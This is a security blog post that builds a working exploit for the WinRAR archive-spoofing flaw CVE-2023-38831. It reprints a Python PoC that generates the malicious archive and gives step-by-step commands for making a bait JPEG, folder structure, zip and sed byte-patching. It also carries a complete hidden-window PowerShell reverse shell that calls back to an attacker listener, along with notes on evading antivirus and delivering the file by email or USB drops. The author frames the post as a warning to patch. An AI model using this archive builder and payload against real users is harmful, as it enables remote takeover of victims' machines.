Exploiting CVE-2023-38831 with my bare hands

Posted on Sep 13, 2023

bare hands

This time I thought we should take look at a new CVE and dig in to some of it’s inner workings. I will try to show how simple it is to exploit as soon as there are publicly known details. The question here is if it was more dangerous as a zero day or is it more dangereous now when there are free PoC:s for everybody to use?

This is what I will be trying to do:

  • No advanced scripting.
  • I will create the exploit with my bare hands using only common command line tools.

Let’s go!

What is CVE-2023-38831?

If you have been hiding under a stone and missed the buzz you can head over to cve.mitre.org to find out some facts.

CVE

This description right there on the site pretty much explains it all:

RARLabs WinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive. The issue occurs because a ZIP archive may include a benign file (such as an ordinary .JPG file) and also a folder that has the same name as the benign file, and the contents of the folder (which may include executable content) are processed during an attempt to access only the benign file. This was exploited in the wild in April through August 2023.

If we head over to the National Vulnerability Database we can find even some more facts:

cve-2023-38831

This vulnerability has a base score of 7.8. WinRAR has over 500 million users worldwide. That combined with the rather high base score makes this a pretty serious one to keep an eye on.

Before we dive into some detailed analysis it’s worth mentioning that CVE-2023-38831 was discoverd by Group-IB Threat Intelligence unit while researching the DarkMe malware that was spreading on trader forums.

Some brief analysis

There’s allready some very detailed and good explanations available out there. I really liked this one. And if you really wanna dig into the nitty and gritty details you could take a look here

Im pretty sure this vulnerability was hard to find as a zero day. But all we need to know now is the basics of how to exploit it. All information is out there and you can sum it up and describe it like this:

Imagine a zip archive that contains:

  • a folder ending with a space character
  • a file with exactly the same name as the folder
  • a file inside that folder starting with exactly the same filename but with an extra extension, like .cmd

If you open that archive with Winrar and doubleclick the file that has the same name as the folder, the file with the .cmd extension will be executed. That’s an RCE and if you send such an archive to a user and trick them into doubleclick the file, all sort of bad things can happen.

It sounds rather weird but let’s see if there are any PoC:s available out there.

Existing Proof Of Concepts

There’s already a hadfull of PoC:s with exploit code available. This python poc automates the tasks of creating a weaponized zip archive. It’s rather straight forward code that looks like this:

import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"

BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"
SCRIPT_NAME = "script.bat"

if len(sys.argv) > 3:
    BAIT_NAME = os.path.basename(sys.argv[1])
    SCRIPT_NAME = os.path.basename(sys.argv[2])
    OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
    pass
else:
    print("""Usage:
          python .\cve-2023-38831-exp-gen.py poc
          python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
    sys.exit()

BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")

print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)

if os.path.exists(TEMPLATE_NAME):
    shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
    os.mkdir(d)

shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

# if os.path.exists(OUTPUT_NAME):
#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
#     sys.exit()

shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip", "rb") as f:
    content = f.read()
    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

os.remove(TEMPLATE_NAME + ".zip")

with open(OUTPUT_NAME, "wb")  as f:
    f.write(content)

print("ok..")

If you follow the code you can see that it creates the folder structure and the file needed. Since you can’t have a file and a folder with the same names at the same place in the filesystem an extension of ‘A’ and ‘B’ is used. When everything is setup it’s put into a zip archive. That zip archive is then modified to simply replace the ‘A’ and ‘B’ with a single space (’ ‘).

And that’s about all. We should be able to reproduce this from the Linux command line using some very simple commands. It’s time to build an exploit archive with our bare hands.

Weaponizing with our bare hands

Creating a payload

Let’s start by creating a payload that spawns a reverse shell. Since WinRAR only exists on Windows our target is obviously a Windows-machine. I can’t think of a single Windows machine that has Defender off (except my hacker machines ;). So we need to evade antivirus somehow. I had good result with HoaxShell before so let’s just use the Reverse Shell Generator to get a HoaxShell payload.

Reverse Shell Generator

We need to get the HoaxShell stuff installed so that we can use it’s listener.

┌──(root㉿5c017a40eb28)-[/]
└─# git clone https://github.com/t3l3machus/hoaxshell.git
Cloning into 'hoaxshell'...
remote: Enumerating objects: 439, done.
remote: Counting objects: 100% (242/242), done.
remote: Compressing objects: 100% (97/97), done.
remote: Total 439 (delta 205), reused 157 (delta 143), pack-reused 197
Receiving objects: 100% (439/439), 3.05 MiB | 11.91 MiB/s, done.
Resolving deltas: 100% (234/234), done.

┌──(root㉿5c017a40eb28)-[/]
└─# cd hoaxshell/revshells/

┌──(root㉿5c017a40eb28)-[/hoaxshell/revshells]
└─# pip3 install -r requirements.txt 
Collecting gnureadline==8.1.2 (from -r requirements.txt (line 1))
  Downloading gnureadline-8.1.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl (636 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 637.0/637.0 kB 16.4 MB/s eta 0:00:00
Collecting ipython==8.10.0 (from -r requirements.txt (line 2))
  Downloading ipython-8.10.0-py3-none-any.whl (784 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 784.3/784.3 kB 20.9 MB/s eta 0:00:00
Collecting backcall (from ipython==8.10.0->-r requirements.txt (line 2))
  Downloading backcall-0.2.0-py2.py3-none-any.whl (11 kB)
Collecting decorator (from ipython==8.10.0->-r requirements.txt (line 2))
  Downloading decorator-5.1.1-py3-none-any.whl (9.1 kB)
Collecting jedi>=0.16 (from ipython==8.10.0->-r requirements.txt (line 2))
  Obtaining dependency information for jedi>=0.16 from https://files.pythonhosted.org/packages/8e/46/7e3ae3aa2dcfcffc5138c6cef5448523218658411c84a2000bf75c8d3ec1/jedi-0.19.0-py2.py3-none-any.whl.metadata
  Downloading jedi-0.19.0-py2.py3-none-any.whl.metadata (22 kB)
Collecting matplotlib-inline (from ipython==8.10.0->-r requirements.txt (line 2))
  Downloading matplotlib_inline-0.1.6-py3-none-any.whl (9.4 kB)
Collecting pickleshare (from ipython==8.10.0->-r requirements.txt (line 2))
  Downloading pickleshare-0.7.5-py2.py3-none-any.whl (6.9 kB)
Collecting prompt-toolkit<3.1.0,>=3.0.30 (from ipython==8.10.0->-r requirements.txt (line 2))
  Obtaining dependency information for prompt-toolkit<3.1.0,>=3.0.30 from https://files.pythonhosted.org/packages/a9/b4/ba77c84edf499877317225d7b7bc047a81f7c2eed9628eeb6bab0ac2e6c9/prompt_toolkit-3.0.39-py3-none-any.whl.metadata
  Downloading prompt_toolkit-3.0.39-py3-none-any.whl.metadata (6.4 kB)
Collecting pygments>=2.4.0 (from ipython==8.10.0->-r requirements.txt (line 2))
  Obtaining dependency information for pygments>=2.4.0 from https://files.pythonhosted.org/packages/43/88/29adf0b44ba6ac85045e63734ae0997d3c58d8b1a91c914d240828d0d73d/Pygments-2.16.1-py3-none-any.whl.metadata
  Downloading Pygments-2.16.1-py3-none-any.whl.metadata (2.5 kB)
Collecting stack-data (from ipython==8.10.0->-r requirements.txt (line 2))
  Downloading stack_data-0.6.2-py3-none-any.whl (24 kB)
Collecting traitlets>=5 (from ipython==8.10.0->-r requirements.txt (line 2))
  Downloading traitlets-5.9.0-py3-none-any.whl (117 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 117.4/117.4 kB 36.3 MB/s eta 0:00:00
Collecting pexpect>4.3 (from ipython==8.10.0->-r requirements.txt (line 2))
  Downloading pexpect-4.8.0-py2.py3-none-any.whl (59 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 59.0/59.0 kB 43.7 MB/s eta 0:00:00
Collecting parso<0.9.0,>=0.8.3 (from jedi>=0.16->ipython==8.10.0->-r requirements.txt (line 2))
  Downloading parso-0.8.3-py2.py3-none-any.whl (100 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.8/100.8 kB 24.6 MB/s eta 0:00:00
Collecting ptyprocess>=0.5 (from pexpect>4.3->ipython==8.10.0->-r requirements.txt (line 2))
  Downloading ptyprocess-0.7.0-py2.py3-none-any.whl (13 kB)
Collecting wcwidth (from prompt-toolkit<3.1.0,>=3.0.30->ipython==8.10.0->-r requirements.txt (line 2))
  Downloading wcwidth-0.2.6-py2.py3-none-any.whl (29 kB)
Collecting executing>=1.2.0 (from stack-data->ipython==8.10.0->-r requirements.txt (line 2))
  Downloading executing-1.2.0-py2.py3-none-any.whl (24 kB)
Collecting asttokens>=2.1.0 (from stack-data->ipython==8.10.0->-r requirements.txt (line 2))
  Obtaining dependency information for asttokens>=2.1.0 from https://files.pythonhosted.org/packages/4f/25/adda9979586d9606300415c89ad0e4c5b53d72b92d2747a3c634701a6a02/asttokens-2.4.0-py2.py3-none-any.whl.metadata
  Downloading asttokens-2.4.0-py2.py3-none-any.whl.metadata (4.9 kB)
Collecting pure-eval (from stack-data->ipython==8.10.0->-r requirements.txt (line 2))
  Downloading pure_eval-0.2.2-py3-none-any.whl (11 kB)
Collecting six>=1.12.0 (from asttokens>=2.1.0->stack-data->ipython==8.10.0->-r requirements.txt (line 2))
  Downloading six-1.16.0-py2.py3-none-any.whl (11 kB)
Downloading jedi-0.19.0-py2.py3-none-any.whl (1.6 MB)
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.6/1.6 MB 27.9 MB/s eta 0:00:00
Downloading prompt_toolkit-3.0.39-py3-none-any.whl (385 kB)
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 385.2/385.2 kB 25.8 MB/s eta 0:00:00
Downloading Pygments-2.16.1-py3-none-any.whl (1.2 MB)
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.2/1.2 MB 22.4 MB/s eta 0:00:00
Downloading asttokens-2.4.0-py2.py3-none-any.whl (27 kB)
Installing collected packages: wcwidth, pure-eval, ptyprocess, pickleshare, gnureadline, executing, backcall, traitlets, six, pygments, prompt-toolkit, pexpect, parso, decorator, matplotlib-inline, jedi, asttokens, stack-data, ipython
Successfully installed asttokens-2.4.0 backcall-0.2.0 decorator-5.1.1 executing-1.2.0 gnureadline-8.1.2 ipython-8.10.0 jedi-0.19.0 matplotlib-inline-0.1.6 parso-0.8.3 pexpect-4.8.0 pickleshare-0.7.5 prompt-toolkit-3.0.39 ptyprocess-0.7.0 pure-eval-0.2.2 pygments-2.16.1 six-1.16.0 stack-data-0.6.2 traitlets-5.9.0 wcwidth-0.2.6
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv

That’s it we should now be able to use it’s listener.

┌──(root㉿5c017a40eb28)-[/hoaxshell/revshells]
└─# python3 hoaxshell-listener.py -t ps-outfile

    ┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬   ┬  
    ├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤  │   │  
    ┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘
                           by t3l3machus

[Info] Http listener started on port 8080.
[Info] You can't change directory with the "ps-outfile" payload type. Your commands must include absolute paths to files, etc.
[Important] Awaiting payload execution to initiate shell session...

Our listener is now up and waiting for ps-outfile payloads to connect on port 8080. Let’s weaponize a rar-archive with our payload.

Creating a weaponized rar-archive

First of all we setup the file structure needed to create our archive. Just like in the Python code we looked at earlier we use A:s and B:s as postfixes so that they later can be replaced by spaces.

┌──(root㉿c93e0df44302)-[/tmp]
└─# mkdir CVE-2023-38831

┌──(root㉿c93e0df44302)-[/tmp]
└─# cd CVE-2023-38831

┌──(root㉿c93e0df44302)-[/tmp/CVE-2023-38831]
└─# mkdir pwn.jpgA

We create a real jpeg image using ImageMagick. It just contains some noise that will be different from time to time. So even if one rar archive would be tagged by some antivirus the next one will have a completely different pattern.

┌──(root㉿c93e0df44302)-[/tmp/CVE-2023-38831]
└─# convert -size 512x512 xc:gray +noise gaussian pwn.jpg

┌──(root㉿c93e0df44302)-[/tmp/CVE-2023-38831]
└─# mv pwn.jpg pwn.jpgB

We need to adjust our payload so that it can be run from a cmd shell. It should look like this.

powershell -ep bypass -WindowStyle hidden -c "$s='192.168.0.77:8080';$i='add29918-6263f3e6-2f810c1e';$p='http://';$f=\"C:Users$env:USERNAME.localhack.ps1\";$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/add29918 -Headers @{\"Authorization\"=$i};while ($true){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/6263f3e6 -Headers @{\"Authorization\"=$i});if ($c -eq 'exit') {del $f;exit} elseif ($c -ne 'None') {echo \"$c\" | out-file -filepath $f;$r=powershell -ep bypass $f -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-RestMethod -Uri $p$s/2f810c1e -Method POST -Headers @{\"Authorization\"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}"

Using an editor we put this payload in the pwn.jpgA.cmd file inside the pwn.jpgA directory. When everything is setup the filesystem should look like this:

┌──(root㉿c93e0df44302)-[/tmp/CVE-2023-38831]
└─# tree
.
├── pwn.jpgA
│   └── pwn.jpgA.cmd
└── pwn.jpgB

Let’s create the archive from this structure.

┌──(root㉿c93e0df44302)-[/tmp/CVE-2023-38831]
└─# zip -r ../CVE-2023-38831.zip .
  adding: pwn.jpgB (deflated 0%)
  adding: pwn.jpgA/ (stored 0%)
  adding: pwn.jpgA/pwn.jpgA.cmd (stored 0%)

And finally use sed and a simple regular expression to replace ‘.jpgA’ with ‘.jpg ’ and ‘.jpgB’ with ‘.jpg ‘.

┌──(root㉿c93e0df44302)-[/tmp/CVE-2023-38831]
└─# cd ..

┌──(root㉿c93e0df44302)-[/tmp]
└─# sed -i 's/jpgA/jpg /g' CVE-2023-38831.zip 

┌──(root㉿c93e0df44302)-[/tmp]
└─# sed -i 's/jpgB/jpg /g' CVE-2023-38831.zip 

Now we do have a weaponized zip archive. There’s one last thing we can do to make it more likely it’s opened by WinRAR. We change the file extension to .rar. Yes I know Windows is stupid but thats the way it is.

┌──(root㉿c93e0df44302)-[/tmp]
└─# mv CVE-2023-38831.zip CVE-2023-38831.rar

Now its about time we go and hack someone.

Trying the weaponized archive

You can imagine this rar archive being sent to people as an attachement or distributed on flash drives in a candy drop. They save the attachement to their desktop and doubleklick it. Winrar opens up the archive and there they see a juicy jpg and they feel an urge to open that jpg. It could look like this:

windows

But where did that jpg go? All they see is some black window flashing by for a brief second. Do you remember our listener that is waiting for a HoaxShell to connect back to it. Let’s check it out to see if something is happening att the attacking side.

windows

And BOOM. We just pwned a user who was dareful and tried to view that jpg. We got shell access and from here we could start working on privilege escalation. Great success. It is also worth mentioning that:

windows

The Windows machine that the victim used was a fully patched Windows 11 with active antivirus. Still our reverse shell spawned without problems. And this is why we recommend our customers to not rely only on pattern based antivirus. I have no idea why that HoaxShell is so effective but that’s something to look into for another post.

Conclusion

It’s pretty obvious that with a user base of 500 million, a vulnerability like this WILL do damage. My aim here was to make the exploit a bit stealthy by showing the compressed picture and putting the powershell window in the background. Fooling the user to belive everything was ok. But after spending hours and hours and hours…. and more hours…. with different problems related to Powershell I gave up upon that picture.

After all this blog is not a course in the art of constructing malware. And I promise you IT CAN BE DONE. But my point with all this is to show you how easy it is to exploit some vulnerabilities after the details are publicly known. The threat is not over just because the CVE is offcial and there is a patch. Given how easy it is to do variants of this exploit my guess is that we will see more malware using this technique. Or perhaps you should use it for phishing in your next pentest.

But after all, hand on heart, did you upgrade your WinRAR like… ever?

I think you should.

Until next time, happy hacking!

/f1rstr3am

Christian

HTB THM